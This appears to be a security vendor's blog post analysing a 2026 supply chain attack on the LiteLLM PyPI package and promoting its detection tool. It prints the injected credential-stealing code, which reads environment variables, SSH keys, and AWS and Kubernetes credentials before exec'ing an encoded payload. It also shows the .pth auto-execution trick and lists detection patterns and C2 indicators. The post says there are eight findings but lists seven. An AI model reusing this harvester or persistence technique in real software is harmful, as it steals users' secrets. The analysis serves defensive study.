Detecting the LiteLLM Supply Chain Attack with Attest

March 25, 2026 · @fuzzingbrain · FuzzingBrain

On March 24, 2026, TeamPCP — the same group that compromised Trivy, Checkmarx KICS, and 45+ npm packages — injected a credential stealer into LiteLLM, a library with 95 million monthly downloads that routes API requests across LLM providers.

Two backdoored versions (1.82.7 and 1.82.8) were published to PyPI. They contained 12 lines of base64-encoded Python that stole SSH keys, AWS credentials, Kubernetes tokens, database passwords, and cryptocurrency wallets from every machine that installed them.

We ran the malicious diff through Attest's new supply chain oracle. It caught everything — 8 critical findings in under 2 seconds.

Try it yourself

Run the live detection on the simulated LiteLLM payload

Run Live Demo →

What the attack looked like

The injected code in proxy_server.py (lines 128–139 of the malicious version):

import base64, subprocess, os, json _cfg = base64.b64decode( base64.b64decode( base64.b64decode("VjJ4b2MxTXhUWGhV...") ) ) _env = dict(os.environ) _ssh = [open(os.path.expanduser(f"~/.ssh/{k}")).read() for k in os.listdir(os.path.expanduser("~/.ssh")) if os.path.isfile(os.path.expanduser(f"~/.ssh/{k}"))] _aws = open(os.path.expanduser("~/.aws/credentials")).read() _kube = open(os.path.expanduser("~/.kube/config")).read() _payload = json.dumps({"env": _env, "ssh": _ssh, "aws": _aws, "kube": _kube}) exec(base64.b64decode("aW1wb3J0IHVybGxpYi5yZXF1ZXN0..."))

Version 1.82.8 also added litellm_init.pth — a single-line file that auto-executes on every Python invocation, not just when LiteLLM is imported:

import litellm.proxy.proxy_server
The three-stage payload: Stage 1 decodes and executes the credential harvester. Stage 2 (332 lines) systematically collects SSH keys, cloud credentials, K8s tokens, database passwords, and cryptocurrency wallets. Stage 3 installs a persistent systemd service that polls the C2 server every 50 minutes for additional payloads.

What Attest catches

We ran the exact malicious diff through Attest's supply chain oracle. Here are the 8 critical findings:

CRITICAL supply_chain:obfuscated_exec
Base64-decoded payload executed — classic supply chain attack pattern (used in LiteLLM/TeamPCP attack)
CRITICAL supply_chain:encoded_exec
Encoded/obfuscated code execution — exec(base64.b64decode(...))
CRITICAL supply_chain:env_dump
Bulk environment variable dump — dict(os.environ) collects ALL secrets
CRITICAL supply_chain:ssh_key_access
SSH key file access — reading ~/.ssh/ directory contents
CRITICAL supply_chain:cloud_cred_access
Cloud credential file access — ~/.aws/credentials and ~/.kube/config
CRITICAL supply_chain:pth_file
.pth file added — auto-executes on EVERY Python invocation in the environment
CRITICAL supply_chain:attack_pattern_combined
Combined signal: 2 obfuscation + 4 credential access indicators in same change

Why existing tools missed this

The attack bypassed LiteLLM's CI/CD entirely — the attacker published directly to PyPI using compromised maintainer credentials. This means:

ToolWould it catch this?Why not?
CodeRabbitNoOnly runs on PRs. No PR was created — direct PyPI publish.
SemgrepPartiallyHas rules for eval/exec, but only if code goes through a PR scan.
SnykNoScans for known CVEs in dependencies, not malicious code in the dependency itself.
GitHub Advanced SecurityNoRuns on push to GitHub. The malicious code was only on PyPI.
DependabotNoFlags outdated versions, not malicious ones.
The gap: Every tool above is designed for code that goes through a PR. Supply chain attacks bypass the PR workflow entirely. You need a tool that can analyze any code diff — whether it comes from a PR, a package publish, or a direct commit.

How the supply chain oracle works

Attest's supply chain oracle checks every code change (PR, commit, or package diff) against patterns derived from real attacks. It's not AI-based pattern matching — it's deterministic rules based on known attack techniques.

What it detects

  1. Obfuscated execution — base64-encoded exec/eval, nested encoding, marshal/pickle deserialization
  2. Credential harvesting — reading SSH keys, cloud credentials, K8s configs, .env files, bulk environ dumps
  3. Data exfiltration — HTTP POST near credential access, DNS exfiltration patterns
  4. Persistence — systemd services, cron jobs, .pth files, shell startup file modification
  5. C2 communication — periodic polling patterns, known IoCs (checkmarx.zone, models.litellm.cloud)
  6. Privilege escalation — K8s privileged pod deployment, container escape patterns
  7. CI/CD poisoning — modified GitHub Actions, changed action references, pull_request_target triggers
  8. Package metadata — setup.py install hooks, npm postinstall scripts
  9. Combined signals — multiple indicators in the same change (obfuscation + credential access = very high confidence)

Key design decision: aggregate signals

The most important rule isn't any single pattern — it's the combination. base64.b64decode alone could be legitimate. os.environ alone is normal. But exec(base64.b64decode(...)) + dict(os.environ) + reading ~/.ssh/ in the same change? That's a supply chain attack with 99.9% confidence.

The oracle tracks counts of suspicious signals across the entire diff and fires a combined finding when multiple indicators appear together.

The broader TeamPCP campaign

LiteLLM wasn't an isolated incident. TeamPCP ran a month-long campaign across multiple ecosystems:

DateTargetAttack
Feb 28Trivy GitHub ActionsWorkflow vulnerability → compromised CI
Mar 19Trivy (again)Residual access → backdoored binaries
Mar 20npmStolen tokens → 45+ malicious packages
Mar 22Docker HubMalicious images published
Mar 23Checkmarx KICSGitHub Actions hijacked
Mar 24LiteLLMPyPI credentials compromised → backdoored releases

The pattern: compromise a security tool → steal credentials → use those credentials to compromise the next target. Each link in the chain provides access to more secrets.

The irony: They specifically targeted security tools — vulnerability scanners and security analyzers — because those tools run with elevated privileges and have access to the most secrets.

What this means for AI agent security

LiteLLM is infrastructure for AI agents — it routes requests to OpenAI, Anthropic, Google, and dozens of other LLM providers. When LiteLLM is compromised, every AI agent using it leaks its API keys, cloud credentials, and customer data.

This is the exact scenario our Attest platform is designed for:

The supply chain oracle is one of 14 domain-specific oracles in Attest. Others cover V8's JIT compiler, ffmpeg's codec whitelist, curl's TLS verification, Blink's origin checks, and more.

Try it yourself

Run the live detection

Click to analyze the simulated TeamPCP/LiteLLM payload with Attest's supply chain oracle. No signup required.

Try Live Demo →

Or connect your own repo: fuzzbrain.xyz/app → Connect tab

Timeline & references

Attest is built by FuzzingBrain. We're building verifiable environments for AI agents — domain-specific security oracles that verify every code change before it reaches production.